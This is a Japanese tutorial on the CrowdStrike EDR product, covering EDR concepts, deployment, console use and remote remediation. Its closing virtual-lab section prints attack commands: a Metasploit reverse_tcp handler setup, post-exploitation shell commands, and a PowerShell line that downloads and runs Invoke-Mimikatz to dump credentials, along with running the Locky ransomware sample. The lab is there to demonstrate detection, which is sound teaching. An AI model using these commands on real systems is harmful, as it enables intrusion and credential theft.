8割解けるCTF「WEST-SEC」

セキュリティ初心者の方でも楽しめるゲーム形式のセキュリティイベント。CTFや勉強会の依頼があればご相談ください。

CrowdStrike社EDR

CrowdStrike社EDRについて解説します。

1.CrowdStrikeについて

・2011年創業
・CEOは元McAfeeのCTOであるGeorge Kurtz氏
https://en.wikipedia.org/wiki/George_Kurtz
・(セキュリティ製品の市場シェアではなく、)企業向けのエンドポイント製品としては、シェアが1位です。2位がMicrosoft、3位がTrendMicroになっています。おそらくですが、個人向けになると順位が変わってくると思います。
https://www.crowdstrike.jp/resources/reports/idc-worldwide-corporate-endpoint-security-market-shares-2021/
・導入事例として、以下のリンクに数多く記載されています。見ると、大企業がズラリと並んでいます。
https://www.crowdstrike.jp/resources/case-studies/?lang=1

2.EDRとは

2.1 なぜEDRが必要か

(1)従来のシグネチャベースでは検知できない
・ファイルそのものは難読化されているので、そのファイル単体での検知はできない。→マルウェアを動かしてみないとわからない。(動かしたら感染してしまうよね)
・攻撃者は、シグネチャベースの検査で検知できるかを事前に確認してから送りつける。

(2)攻撃の巧妙化(ファイルレス攻撃)
・最近では、ファイルレス攻撃が増加しています。大流行したEmotetもファイルレスに分類されます。
・ファイルレスといっても、実際にはファイルはもちろんあります。ただ、入口としてはファイルを使っていますが、そのあとの処理はC&Cサーバと通信をしながらメモリ上で行われます。また、OSに搭載されているPowershellであったり、OSの状態を取得するWMI(Windows Management Instrumentation)を使うので、新たにファイルを作成したり動かしたりする必要がありません。(そういうメモリ内攻撃と言った方がわかりやすいかも)。場合によっては、ウイルス製品を無効にするなどして、攻撃を仕掛けます。
※Powershell を無効化すればいいと思われるかもしれませんが、いろいろなアプリケーションがPowershell を使っているようで、現実的には無理でしょう。
・EDRの市場は、確実に増加しています。
https://www.nikkei.com/article/DGXLRSP623403_Z01C21A2000000/

2.2 EPPとEDR

(1)一般的な話
・Windows Defenderや、Trendmicro社のウイルスバスターなどの従来からあるウインス対策製品は、EDRと比較する観点から、EPP(Endpoint Protection Platform)とも呼ばれます。ちなみに、エンドポイント(Endpoint)とは、ネットワーク上の終点(Endpoint)にある端末(PC)のことです。
・EPPは、Endpoint(PC)の Protection(防御)の Platform(プラットフォーム)です。
・EDRとは、Endpoint(PC)でのDetection(検知)Response(対応)です。つまり、検知機能と対応機能に優れます。
・EPPとEDRのわかりやすい違いはResponse(対応)ですが、EDRは、Detection(検知)も各段に優れます。
・技術的には、EPPはファイルのパターンを見るのが中心、EDRは、マルウェアの侵入したあとの動作を中心に、メモリ中まで検査をします。
・表で整理したかったので作ってみましたが、MECEにもなったおらず、イマイチな分け方でごめんなさい。内容の正確性もちょっと微妙ですので、あくまでもイメージとして考えてください。

検知 防御 対応
  従来型
マルウェア
ファイルレス
マルウェア
誤検知    
EPP ◎(少ない) ◎(検知したら止める)
EDR △(少なからずある) -(本来機能ではない。
EPPと連携して止める

(2)CrowdStrikeの場合
CrowdStrikeのEPPとEDRの機能について説明します。

EPP ・CrowdStrikeは、EDRだけではなく従来型のEPP機能を持っています。
・従来型のウイルス対策ソフトであればシグネチャベースですが、CrowdStrikeの場合はシグネチャを持たず、機械学習で動作をします。
・検査のタイミングですが、ファイルが書き込まれたとき(たとえばファイルをダウンロードした)と、ファイルを実行するときです。(実行の前に必ず書き込むとは思いますが・・・)
・参考までに、CrowdStrikeのアンチウイルスはNGAVなので、実はこれだけでもかなり優秀です。ローカルで振る舞い検知もしますし、ハッシュはクラウドに送って検査します(亜種も判断可能)。
EDR ・ファイルそのものを検査するわけではなく、端末にインストールされたセンサーが、振る舞い情報(IOA:Indicator Of Attack)の情報をクラウド(ThreatGRAPH)に上げ、クラウドで検査をします。IOAに関しては、ここを参照ください。
・ファイルが書き込まれた時点では動作せず、実行されたタイミングで検査をします。

2.3 EDRの動作

(1)Deteciton(検知)
・Emotetを例にすると、こマルウェアは、シグネチャベース(パターンマッチング)は検知できません。ファイルとしては検知可能ですが、メモリ上で展開され、PowerShellなどを使って実行されたものは止めることができません。
(例)Outlookでメールの添付ファイルを開き、マルウェアが実行され攻撃者が用意したサーバとセッションが確立。その後Notepad.exeのような正規のプロセスにインジェクションが行われ攻撃が検知されないようにした状態で、権限昇格や横展開など目的を遂行していく

・EDRで収集する情報として、イベントログ、接続先を含むTCPのコネクション情報などのネットワークの情報、起動しているプロセス、プロセスの起動や停止の情報、レジストリの操作履歴、ファイルの書き込みの履歴などなどが取得できる。

(2)Response(対応)
・管理コンソールから、他の端末に同じマルウェアやファイルがいないかを一斉に調査も可能
【端末に対してできること】
・実行中のプロセスの一覧表示およびプロセスの強制終了(不正なマルウェアのプロセスを停止させることができる)
・対象の端末に対してファイルを送る(実行したいbatファイルなど)
・リモートでのホストの再起動やシャットダウン
・遠隔でのコマンド実行。たとえば、rmコマンドでファイルの削除もできる
・メモリーダンプの取得
・レジストリーキー変更
など
※パッチ配布はできないが、 Falcon for ITを使うと、ソフトウェアの配布、パッチの配布ができそう(2024年度めど)。

2.4 EDRとふるまい検知の違い

・従来のEPPには、振る舞い検知の機能を持っているものも多い。つまり、マルウェアの挙動を見てマルウェアと判断します。
・違いを表にするとこんな感じです。うまく説明できなくてごめんなさい。

項目 従来の振る舞い検知 EDR(CrowdStrikeの場合)
検査する方法 ベースライン(閾値)を作成し、そこから外れた行動を取るかなど マルウェアの動作の情報(IoA)が、クラウド上のDBと合致しているか
検査内容について ローカルでルールを作って、そのファイル単体の振る舞いを判断する(点で判断) そのファイルの前後の行動も含めて判断する(点を点を線でつなげる) 
検査する場所 ローカル
(ということは、スペックを抑える必要がある。CPUやメモリなどのリソースをたくさん使ったら重くなる)
クラウド
(PCとは比べものにならない大規模なDBおよび処理能力で検査ができる)

2.5 EDRとNDR、XDR

(1)EDRとNDR
・NDR(Network Detection and Response)です。EDRと違い、エンドポイント(つまりPC)ではなくネットワークの通信で検知と対応の機能を実現するのがNDRです。
・NDRの利点は、端末にエージェントソフトをいれなくていいこと。じゃあNDRでは不十分なのかというと、現実的はそうなります。上記のプロセスツリーの様子などを紹介しましたが、NDRの多くは、パケットのヘッダ情報しか見ないからです。
(2)EDRとXDR
・XDR(eXtended Detection and Response)は、エンドポイントに限らず、拡張したセキュリティソリューションです。エンドポイントを中心に、クラウドや、認証情報、サードベンダ、お客様が使っているFWなどのログも集約して管理できます。ただ、言葉の定義はあいまいなところがあり、(これはEDRも同じですが、)メーカーごとに実現する機能は異なります。
・CrowdStrikeはまさにXDRの製品です。
・従来のEDR(Falcon Insight XDR)に追加で、他社のログを相関分析をするライセンスを買います。たえば、Zscalrのログを一元的に管理するには、Zscaler専用のライセンスを購入する。
・XDRはSIEMではないので、ログを長期に保管せず、基本は7日間で最大30日とか90日。今後は長期保存もできるSIEMとしての役割もできる方向に向かっていくのではないか。

2.6 他社との比較

※CrowdStrikeの目線で書いているので、他社目線だと違う観点での指摘があると想定されます。正式導入をする場合には、各社を公平に比較されることをお勧めします
❶検知能力
・仕組みおよび、経験上、検知能力は高いと思います。また、世界シェアNo.1ということは、それだけ情報が蓄積されていることだと思います。
・その根拠として、第三者機関による、製品に対する高い評価があります。CrowdStrike社のサイトでは、Gartner Magic Quadrantにて、「ビジョンと実行能力において最高位を獲得」とあります。
https://www.crowdstrike.jp/resources/reports/gartner-mq/
・検知の仕組みは、カーネルモードとユーザモードがありますが、ユーザモードはOSに許可されたものしか取れないので、イベントログの履歴やメモリDumpの情報は見えない。なので、取得できるログの数が、CrowdStrikeは400ほど。他社の特にユーザモードを利用する場合は、その3分の1くらいではないかと想定される。また、ユーザモードの場合は攻撃者がEDRのエージェントを強制停止できたり、カーネル上で動作するマルウェアを検知できません。

項目 カーネルモード ユーザモード
モードの意味 管理者権限というか、OSの権限 ユーザの権限
取得できる情報 ほぼ全ての情報 OSがそのユーザに対して許可した情報
取得できるデータ項目数 150種類くらい カーネルモードの3分の1程度

・世界中のデータベースを一元的に集めているので、検知精度が高いのが特徴です。他社の場合、個社ごとにサーバを用意しているところもあります。
・CrowdStrikeならではのEDRの特徴として、Overwatchで機械学習だけでなく、人の目でも見ていることがあります。ライセンス費用が別途必要です(費用感としては、CrowdStrikeの費用が100ペリカとすると、4ペリカくらいだと思われます。詳しくは販社さんに聞いてください)
https://www.crowdstrike.jp/services/managed-services/falcon-overwatch-threat-hunting/
❷検知のリアルタイム性
・Emotetなど、ファイルのマクロを実行して数十秒・数分で攻撃を実行してしまう。クラウドでの検査の結果も非常に大事。CrowdStrike社はそれが非常に早い。
・リアルタイムでクラウドに上がる。他社の場合は、リアルタイムではなく、ログを蓄積して定期的(15分とか、それ以上とか)で情報を送信するので、時間がかかる。
(❸その他)
・シングルエージェントで、アンチウイルス(EPP)、EDR、デバイス管理など、複数の機能があるが、それぞれエージェントをインストールする必要が無い

2.7 EDRのデメリット

EDRはEPPと違い、誤検知があります。誤検知の量は利用しているシステムにもよりますが、1か月程度は、誤検知を防ぐためにホワイトリスト登録が必要かもしれません。
登録方法は、管理コンソールからハッシュ値、ファイルパスなど指定して除外できます。

2.8 FAQ

Q1.PC(センサー)が検知のためにクラウドと通信するデータ量はどれくらいでしょうか?

A1.EDRとして記憶する容量は、1日の転送量は5M~10Mbyte程度/1台。このデータをクラウドに送ります。
上記はリアルタイム送信なので調整できないですが、サーバからPCに送る更新ファイルなどは、一斉に送るとボトルネックになる可能性があります。1分あたりの台数や通信量を管理コンソールから調整できます。これによって、ネットワークの負荷を調整することができます。(たとえば、朝の9時~10時は避けるとか)

Q2.CrowdStrikeを入れたときのPCの負荷はどれくらい?

A2.感覚論ですが、CPU負荷1%程度、ディスク、メモリ40Mぐらいの負荷ではないでしょうか。
以下、何もない時のタスクマネージャーの状態です。

3.導入に関して

3.1 導入構成

(1)端末
・エージェント(センサーと言われます)をインストールする
・インターネットに接続されている必要がある【重要】
・センサーは、自動アップデートがおすすめです。(ただし、一斉にアップデートが走るとネットワーク帯域に影響がでるので、同時にアップデートする端末数を制限する設定が可能)
(2)管理コンソール
・クラウド上にサービスとして提供される。よって、社内にサーバを立てる必要は無し。(逆に、オンプレでサーバを立てることはできない)
・ここで、EDRをインストールした端末を一元管理できます。感染した端末を隔離するなど、EDRのR(Response)の機能なども実現します。

3.2 対応OS

・Windows、Linux、MacOS、Androidで、Windowsに関しては、サーバOSに入れることもできます。

3.3 既存のEPPとの共存

・CrowdStrikeのEDRは、EPP機能も付与されているので、既存のウイルスソフトであるEPPは不要です。
・同居させてもいいかというと、可能ですが、コスト的な観点からすると、もったいないかもしれません。
・また、既存製品はアンインストールしたり、WindowsDefenderは無効にしましょう。CrowdStrike(Falconセンサー)を検知モードで動かす場合はその必要はありませんが、ブロックモードにプログラム同士の競合などが発生する可能性があるからです。
・他社のEPPとCrowdStrikeのEDRのみ(EPPを利用しない)構成も取ることは可能。ただし、その場合、ブロック機能や遠隔で隔離する機能などが使えません。

3.4 オフラインの環境での利用はできない?

・EPP機能であればできますが、EDRはクラウド上のDBで検査をするので、できません。
・端末に2万イベントくらいは保存できるので、2~3日くらいの情報は保持できると思われます。ですが、検査はもちろんクラウドで実施するので、リアルタイムでの検査ができません。

3.5 導入スケジュール

・端末にはセンサー(クライアントソフト)を入れるだけで、サーバはクラウドなので、導入は非常に早いと思います。
・導入当初は誤検知もあると思いますので、チューニングが必要です。最初の1か月は検知モードにしてブロックをしないという選択肢もありかと思います。(業務にならない場合があるので)

3.6 設定のチューニング

・以下がデフォルトで作成されている防御ポリシーです。

ポリシー 優先順位 内容
Phase 3 - optimal protection 1 このポリシーは、違反を阻止するために最適に構成されています。
This policy is optimally configured for stopping breaches. We recommend assigning hosts here within 90 days of first installing sensors, ideally after detection triage and allowlisting as part of testing the Phase 2 policy.
Phase 2 - interim protection 2 フェーズ 3 に進む前に、必要に応じて検出をトリアージし、誤検知をホワイトリストに登録します。
This policy offers solid IOA protection and other preventions. Triage detections and allowlist false positives as appropriate before proceeding to Phase 3. If you don't have existing antivirus/host intrusion protection software (HIPS), start here.
Phase 1 - initial deployment 3 This policy is optimized for detection, so you can start testing activity and triage detections and allowlist false positives as appropriate. If you are deploying Falcon co-resident with existing antivirus or host intrusion prevention systems (HIPS), start here.
デフォルト(Windows) - Platform default policy

・クラウドストライク側で推奨構成があるので、それをまず使ってもらうのが一般的です。じっくりやるなら、防御が緩い順からはじめ、Phase1→Phase2→Phase3(推奨版)として、最終的にPhase3で運用するのがおすすめです。
・また、誤検知等もあるでしょうから、その後細かくユーザで必要あればチューニング、そんな感じです。設定項目としてはそんなに多くないです。
・検知モードのチューニング(最強、強、中(デフォルト)、弱、無効)を選択できますが、変える必要はないでしょう。設定方法は、このあとの7.3で記載します。

4. 監視サービス

4.1 サービス概要

・SOCを提供している会社があるので、監視サービスを契約することをお勧めします。アラートがあったときに、基本的にはEndpoint側で止めます。ですが、それが誤検知の可能性もあり、もしくは攻撃されている可能性もありで、詳細な解析は監視サービス側に依頼したいところです。また、監視サービスによっては、単に通知だけではなく、遠隔での隔離したりまでも実施できます。
・CrowdStrikeのMDRサービス(Falcon Complete)もあります。24/365でお客様環境で発生したすべてのアラートを確認し、過検知、正規の検知の判別および、必要に応じて、遠隔からNW隔離やファイルの削除等を主体的に実施してくれます。ただ、充実した監視・運用サービスであるため、費用がどうしても高くなります。
https://www.crowdstrike.jp/services/managed-services/falcon-complete/
・以下、代表的な監視ベンダによる監視サービスを紹介します。内容は監視ベンダによって異なり、また、後半の内容に関してはオプションサービスとして別途料金になると思われます。

提供機能 詳細
24/365の監視体制 24時間365日、CrowdStrikeで監視したアラートを受け付けます
システム管理者への通知 検知アラートの中で、重要度が高いものに関して、システム管理者に通知します。
簡易解析作業 誤検知なのか対処が必要なのかの判断をします
遠隔対処 Criticalなどの重要なアラートに関しては、(契約で許可がもらえている場合、)遠隔でPC端末の隔離をします
定期レポート 月次などの定期的なタイミングでレポートや報告会をします

遠隔対応で具体的に何をするのかというと、2.3 EDRの動作 > (2)Response(対応) に記載したような対応を、監視センターが実施してくれます。
ただし、遠隔対処の「脅威除去」オプションでは、不正なファイルや不正なレジストリ設定等を除去することが主な目的です。システムを復旧するわけではありません。

4.2 監視サービスの構成

・SOCベンダが、クラウド上の環境にアクセスするので、SOCベンダとネットワーク的につながっている必要はない。
・SOCベンダに管理コンソールにログインし、操作をする権限を与える。遠隔で隔離や脅威除去をする脅威除去オプションを依頼する場合は、Falcon AdministratorかReal Time Responder (Administrator)の権限を付与する。
・また、クラウドの管理コンソールから遠隔で封じ込めなどをするが、それも、CrowdStrikeのセンサーからのhttpレスポンスでやっている。よって、FWで外→中を開ける必要はありません。

5.端末の操作

5.1 インストール

a)インストーラー「WindowsSensor.MaversickGyr.exe」を実行します。
b)以下画面で、「I accept the Sensor Terms of Use and privacy Notice」にチェックを入れ、Crowdstrikeの管理コンソールに記載のCustomer ID(CID)を記入します。

c)インストールには4~5分かかります。

d)インストールが終わって、CrowdStrikeが動いているかは、たとえばタスクマネージャを見るとわかる。

5.2 Windwos Defenderの無効化

Windwos Defenderファイアウォールの無効化
コントロール パネル\システムとセキュリティ\Windows Defender ファイアウォール\設定のカスタマイズ

・以下はWindowsSeverの設定であるが、リアルタイム保護を無効化している。

※無効化しても、検体を動かすとdefenderからメッセージがでる。このあたり、動作がイマイチわからず。

5.3 検体の実行

(1)検体を動かすとどうなるか
テスト用のマルウェアを実行しました。デフォルトだと、表示はなにも出ずに実行がブロックされるなどします。
設定変更して、以下のような表示を出すことも可能。(好みの問題)

(2)端末に表示を出す設定
エンドポイントセキュリティ>防止ポリシー  防止ポリシーの設定 センサー能力で、デフォルトプロファイルを編集する
Notify End UsersがデフォルトはOFFになっている。
ONにすると、↑の表示がPCに出る。

6.管理コンソール(管理)

6.1 ログイン

・ログイン画面でメールアドレス、続いてパスワードを入力
https://falcon.us-2.crowdstrike.com/login/

・MFAが設定されている。GoogleAuthenticatorなどコードを入れる

・管理コンソール

6.2 メニュー画面

・メニュー

6.3 センサー(クライアントソフト)のダウンロード

・メニュ画面からHost setup and management > Deploy > Sensor downloads

・OSに応じたセンサーをダウンロードするが、その際に、CustomerIDがあるので、これがインストールの際に必要

・Endpoint Detections 検知した様子

6.4 ユーザプロファイル

右上の人間のアイコンから、ユーザ名を選択すると、UserProfileの設定ができます。
ここでは、以下が行えます。
・パスワードの変更
・MFAのリセット
・Localeの変更 右下のSaveを押すと→言語が日本語になります。

7.管理コンソール(ホストとマルウェアの管理)

7.1 コンピュータの一元管理

左上「三」のマークの管理メニューから、ホストのセットアップおよび管理 > ホストの管理 を開く
ここで、管理している(=CrowdStrikeのセンサーが入った)PCの一覧が確認できる。

・また、「プラットフォーム」の項目にて、OSごとに管理されているクライアントの数を確認できる。
・確認したい端末をダブルクリックすると、右側に詳細のパネルが表示される。端末のIPアドレスの情報や、適用されているポリシーが確認できる。

7.2 ホストグループへの割り当て

ホスト(PC)をホストグループに割り当てます。ポリシーは、端末ごとではなく、ホストグループごとに割り当てます。
a)ホストのセットアップおよび管理 > ホストグループ > 新規グループの作成 
b)タイプがいくつか選べます。

グループタイプ 内容
動的 フィルターに基づいてホストを自動的に追加・除去するルールを作成する
静的(ホストIDに基づく) ホストIDに基づいてホストを追加または除去します
静的(ホスト名に基づく) ホスト名に基づいてホストを追加または除去します

c)ルールを作成する。たとえば、OSなどでグループ化ができる。設定したら右上の「保存」を押す。

d)グループにおいて、「防止ポリシー」のところで、右端のノートマークをクリック。
e)防止ポリシーの画面に遷移するので、右端のノートマーク。
f)上にある「割り当て済みホストグループ」のタブに切り替え、「ポリシーにグループを追加」

g)先ほど作成したグループを選択して追加する。
※ホストグループに所属していないホストはデフォルトポリシーが適用されます。

7.3 ユーザの管理権限

ロールを割り当てて、そのユーザに何ができるかを権限を付与します。
ホストのセットアップと管理 > ユーザ管理 でユーザを選び、ユーザの詳細を表示にて、ロールを追加できます。
以下は、Real Time Responder - Administrator を追加したところです。

7.4 マルウェアの検知

(1)端末側での表示
「5.3 検体の実行」で記載した通り、設定次第ではあるが、端末側に表示される。

(2)管理画面での表示
❶ダッシュボードに件数が表示される(以下は1件)

❷エンドポイントセキュリティ > エンドポイント検知 で詳細を確認できる。

・ダブルクリックすると詳細が表示される。「ネットワーク隔離」の文字も見える

(3)管理者へのアラート
・検知した情報は、管理者のメールにもAlertとして飛ぶ。

・このメールアドレスの設定は、「サポート及びリソース」 > 「全般設定」を開き
「検知メールおよびインシデントメールのリストを管理」で行う。ここで、メールの通知先が設定できる。複数設定も可能。ただし、ここでやることは少ない。ワークフローを設定することが一般的

7.5 マルウェアの解析

検知したファイルを見ていくと、以下のように、拡張子が偽装されているなどまで説明してくれる。なにかあったときの解析には非常に便利です。

7.6 設定のチューニング

・端末にセンサーを入れると、自動でデフォルトのポリシーが選択されます。7.2の方法でデフォルトのポリシーをPhase3にしておきましょう。

・エンドポイントセキュリティ > 防止ポリシー から、設定したいポリシーを選択する(右端のノートのようなボタンを押す)。

以下は、「Phase 3 - optimal protection」を選択した様子。

・例えば、以下は、タイプ:Next-Gen Antivirus、カテゴリー:Cloud Machine Learningをクリックしたときの様子です。検知モードのチューニング(最強、強、中(デフォルト)、弱、Disable(無効))を選択でます。このとき、防止の検知レベルより、検知の検知レベルを低く設定さすることはできません。

7.7 ワークフロー

・検知したら管理者に通知するなど、簡単なSOARみたいなのが作れる
・手順は以下です。
a)Fusion SOAR > ワークフロー から
b)すべてのワークフローのタブで「ワークフローの作成」、「ワークフローを最初から作成」で「次へ」
c)「イベント」を選択して「次へ」。トリガーでAlertを選び、サブカテゴリでEPP Detection(EDRを含みます)

右側の図の+を押して条件の追加でセベリティを選ぶことも可能
右側の図の+を押してAction
Notifyを選び、「Send email」を選んで、送信するメールを作成する。Recipientsでメールの受信者を設定することができる。

7.8 ホワイトリスト

・ホワイトリストの登録ができる。
・設定手順は以下
a)エンドポイントセキュリティ > 除外 から 「除外の作成」

b)対象のホストを選んで
c)チェックを入れる
・「検知および防止」→チェックさせない。検査させない
・「CrowdStrikeへのアップロード」→CrowdStrikeへ情報を送らない「除外パターン」で、ファイルパスだったり、ファイル名を指定する。

d)除外パターンに条件を設定する。ワイルドカードも設定できるので、以下のように設定することも可能
「**\chrome.exe」
e)パターンテストで、上記の除外パターンがうまくいくかをテストしてくれる

7.9 各種の調査

「調査」からいろいろと調べることができる。たとえば、他の端末にも同じ感染ファイルがないかなどをファイル名やハッシュ値などで一括で調査ができる。便利ですね。

8.管理コンソール(対応)

8.1 端末隔離

実際の隔離作業は実施しません。手順のみ記載します。
管理メニューから「ホストのセットアップ>ホストの管理」から「コンテインメントのステータス」を確認しましょう。Normalが隔離されていないPCで、Containedが隔離されたPCです。

該当PCを隔離するには、そのPCをクリックし、「ネットワーク」のボタンを押す。隔離のステータスの変更を押して隔離ができます。

このPCは、RDPで接続していたので、隔離を実行すると、以下のようにRDPが切断されました。

・とはいえ、CrowdStrikeの管理サイトへの通信だけは許可されています。もう一度、以下のようにステータスを戻すと、接続ができるようになります。

8.2. 感染拡大の調査

・検知したアラートから感染拡大が発生していないか調査を行います。
・管理メニューから「エンドポイントセキュリティ>エンドポイントの検知」を開き、検知したアラートをクリックし詳細を開きます。

↑こちらは新画面です。
・虫眼鏡マーク「ハッシュを調べる」をクリックすると検知アラートに関連する詳細情報が確認できます。

・一番下にある「プロセス実行」の画面にて、同じ検体を実行した端末のホスト一覧などが確認できます。

8.3 被疑ファイルの削除

クライアントPC内に存在する被疑ファイルを遠隔から削除します。管理メニューから「ホストのセットアップ>ホストの管理」から、自チームに割り当てられたクライアントをクリックし詳細を表示します。「ホストの接続」を押してリアルタイムレスポンスを行います。

さて、実行には権限が必要です。
・まず、ホストグループで割り当てられているレスポンスポリシーを確認します。

ホストの管理とセットアップ > レスポンスポリシー にてReal Time Responseにチェックが入っている必要があります。

・また、 ユーザ管理 でユーザを選び、ユーザの詳細を表示にて、Real Time Responder - Administrator のロールがあるかを確認しましょう。

コマンド 説明
kill kill a process
ntestat Display network statistics
ps Display process information
ls display contens
memdump Dump the memory
ps Display process information
restart restart target system
rm remove a file or directory
shutdown shutdown target system

https://www.crowdstrike.com/blog/tech-center/file-remediation-rtr/

まずは削除対象となるファイルが存在するかlsコマンドを使って確認してください。lsコマンドの書式は「ls <フォルダパス>」です。今回は、「C:¥temp」配下にサンプルファイルを格納しているので、 ls C:¥temp と実行します。※Cは大文字です。
次にrmコマンドでサンプルファイルの内一つを削除します。rmコマンドの書式は「rm <ファイルパス>」なので、rm C:¥temp¥malware4.txt です。削除後、もう一度 ls コマンドでファイル一覧を確認しましょう。

8.4 起動プロセスの確認

クライアントPCが起動しているプロセスを確認し怪しい挙動がないか確認します。2-4-3.と同様にリアルタイムレスポンスを行います。当該端末が起動しているプロセスの確認にpsコマンドを利用します。psコマンドの書式は「ps」です。

8.5 遠隔からプロセスを起動

遠隔からプロセスを起動し任意のスクリプトや調査ツール、マルウェア駆除ツールなどを実行します。ここでは遠隔から「notepad.exe」を起動するスクリプトを作成し実行する手順を紹介します。2-4-3.と同様にリアルタイムレスポンスを行い、「スクリプトの編集および実行」をクリックします。
2行目の「Get-ChildItem」を削除し、「Start-Process -FilePath C:¥Windows¥System32¥notepad.exe」記述し、右下の「実行」ボタンを押します。

起動されたかどうかを「コマンドの実行」タブにて、psコマンドで確認してください。
※スクリプトの引数は不要です。

8.6 遠隔からプロセスを削除

遠隔から実行している被疑プロセスを削除します。ここでは、2-4-5.で実行した「notepad.exe」のプロセスを削除する手順を紹介します。2-4-3.と同様にリアルタイムレスポンスを行います。次にpsコマンドを実行して「notepad.exe」のプロセスIDを確認します。確認したプロセスIDを利用してkillコマンドでプロセスを削除します。killコマンドの書式は「kill <プロセスID>」です。

8.7 任意の実行ファイルの検索

ハッシュ値やファイル名から、他にも被疑端末が存在するかどうかを確認します。2-4-2では、CrowdStrike
で検知した被疑ファイル(マルウェア)を検索しました。実際の運用では、被疑マルウェアがC&Cサーバなどに通信して作成したファイルなども検索したい場合も想定されます。そのファイルを検索します。
管理メニューから「調査>検索>ハッシュ」をクリックします。画面左上部の「MD5またはSHA256:(スペース区切り)」「ファイル名」から任意のハッシュ値(MD5、SHA256)、ファイル名などから過去に実行したクライアントの情報を確認します。
今回の手順は、「MD5またはSHA256:(スペース区切り)」に以下のハッシュ値(MD5かSHA256のどちらか)を入力し、「実行」ボタンを押してください。
MD5 : 14675B7018B0943934BC19131304B2DD
SHA256 : FB38E668883F6E518C731615317B0A0D9DF2FEB927D8FA831C8A8922926CE66E
※ファイル名で検索する場合は、ハッシュ値の欄を*にし、ファイル名の欄に「hash_test.exe」としてください。
※この検索ができるのは、exeファイルなどの実行ファイルで、かつ、事前に端末上で実行されたファイルのみです。
一番下の「プロセス実行」にて、該当するファイルが存在するPCの一覧が表示されます。

8.8 復旧

被疑端末の隔離を解除します。
管理メニューから「ホストのセットアップ>ホストの管理」に移動し、クライアントの中から「コンテインメント」のステータス確認をしてください。

9.バーチャルラボ

・名前などはダミーでいい
・下にある→を押す
・「OPEN VIRTUAL LAB」を押すと、LABが立ち上がる。メールなどが入っているがそのままLogin
・→を押す。「Open the Falcon Console」で管理画面を開く。Acceptを押すと管理画面が開く
・バーチャルラボは、重たいかもしれないが、3つのタブが表示される。表示されない場合は、Webサイトのリロードをする。
・自分のホスト名はコピーしておこう。のちほど、管理画面で自分がどれかをわかるようにする。※大文字小文字も識別する。WELL-ZEBRA
・VICTIMにてCrowdStrikeのセンサーをインストール
・管理コンソールは日本語に変更しておく
・Lockyを実行してみよう。pwはinfected
・検知した結果をみてみよう
・次はバイナリエディタで、ハッシュ値を変えてみよう。→振る舞いを見ているので、検知できる。
Shift +2 で@が入力できる
・シナリオ3
・Overviewタブにコマンドなどのメモが記載してある
・AttACKERで以下を実行
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 172.17.0.21; set LPORT 4444; set AutoRunScript post/windows/manage/migrate; exploit -j"
・これをコピペで実行すると、待ち状態になる。
・Outlookを開き、Poeple ServiceのPDFファイルがある。それをダブルクリックで保存して、開く。
すると、AttACKERの方で、被害者とのセッションが貼られる
・以下のコマンドを順番に実行していこう。完全に乗っ取ってしまっている。
本来はCrowdStrikeでブロックできるが、今回はデモなので、検知だけにしている
sessions 1
shell
netstat -ano
ipconfig
ping -n 1 nasa.xxuz.com
whoami
exit

以下のコマンドなどは、乗っ取ったPCに対して遠隔からのファイルレスの攻撃であり、ファイルをダウンロードせずにメモリ上で実行して、Mimikazを実行して認証情報を取得する

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m"

アンケートのご協力をお願いします。
https://forms.gle/mwH7xgnMgYjMaZFJA